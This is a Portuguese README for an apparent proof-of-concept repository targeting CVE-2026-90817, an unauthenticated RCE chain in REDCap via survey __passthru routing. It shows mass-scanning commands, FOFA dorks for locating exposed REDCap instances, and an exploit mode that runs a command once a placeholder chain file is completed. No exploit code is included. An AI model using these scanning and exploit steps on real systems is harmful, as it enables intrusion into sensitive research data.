CVE-2026-90817 — REDCap Survey Passthru + Data Import RCE
Verificador em Python 3 (e hook de exploit configurável) para CVE-2026-90817 (Securifera / Ryan Wincey).
| |
|---|
| Produto | REDCap (Vanderbilt) |
| Afetado | ≥ 13.3.0 (até patch do branch) |
| Corrigido | 16.0.49 LTS, 17.3.10 LTS, 17.4.4 Standard+ |
| CVSS 3.1 | 9.8 Crítico |
| Autenticação | Nenhuma — hash de survey público válido (s=) necessário para a cadeia completa |
| CWE | CWE-73, CWE-94 |
Resumo
A partir de um contexto de survey público, atacantes podem abusar do roteamento __passthru (passthrough de survey) para alcançar controllers não intencionais (por exemplo, Data Import), e então acionar o tratamento inseguro de caminho de arquivo / stream → RCE.
A Securifera ainda não publicou a cadeia HTTP completa (nenhum PoC público no GitHub / Exploit-DB no momento da publicação do repositório).
exploit_chain.example.json é apenas placeholder (rotas/parâmetros supostos). Ele não fará RCE.
Dry run de pesquisa: --allow-placeholder-chain (envia requisições; espere falha).
Requisitos
- Python 3.9+
pip install -r requirements.txt
Uso
pip install -r requirements.txt
# Alvo único (hash de survey necessário para testes de survey + passthru)
python poc.py -u https://redcap.example.edu/redcap --hash Ab12Xy34Zq --mode check
# Atalho: base|hash
python poc.py -u "https://redcap.example.edu/redcap|Ab12Xy34Zq" --mode check
# Verificação em massa (uma URL por linha, |hash opcional)
python poc.py --list targets.example.txt --mode check -j 20 -q
# Live stream: cada host + resumo de teste (recomendado para listas longas)
python poc.py --list targets.example.txt --mode check -j 20 -q --flow
# Exploit (após advisory → exploit_chain.json real)
cp exploit_chain.example.json exploit_chain.json # edite com valores reais
python poc.py -u https://redcap.example.edu/redcap --hash XXX --mode exploit -c id \
--chain exploit_chain.json
Exportação FOFA → lista de alvos
# Coloque a exportação como fofa_csv_7561.csv (ou qualquer fofa*.csv), então:
python fofa_to_list.py
# Escreve list.txt (gitignored) e normaliza o CSV com uma coluna url
python poc.py --list list.txt --mode check -j 20 -q --flow
https://uni.edu/redcap|SurveyHash10
https://uni.edu/redcap?s=SurveyHash10
https://uni.edu/redcap
Sem um hash, o check ainda pode fazer fingerprint do REDCap e sinalizar janelas de versão, mas não pode validar o survey nem executar sondagens passthru.
Captura de tela (--flow verificação em massa)

Opções da CLI
Saída (verificação em massa)
| Arquivo | Conteúdo |
|---|
cve_2026_90817_results.jsonl | JSON por alvo |
hits.txt | Candidatos (exploitable_candidate) |
Valores comuns de status (check)
Limitações
- O Exploit requer a rota exata
__passthru e nomes de parâmetros da Securifera/fabricante; os padrões são placeholders.
- Muitas instâncias ocultam strings de versão;
vulnerable_version pode ser null.
- Linhas FOFA
title="REDCap" frequentemente não têm hashes de survey — as pré-condições da CVE precisam de s= de links públicos.
- Apenas testes autorizados.
Dicas de FOFA / descoberta
title="REDCap"
body="redcap_version"
body="/surveys/?s="
Estrutura do repositório
.
├── poc.py
├── fofa_to_list.py
├── exploit_chain.example.json
├── poc.png # example --flow terminal output
├── requirements.txt
├── targets.example.txt
├── README.md
├── LICENSE
└── .gitignore
Referências
Legal
Apenas para testes de segurança autorizados. Você é responsável pela conformidade com as leis aplicáveis e regras do programa.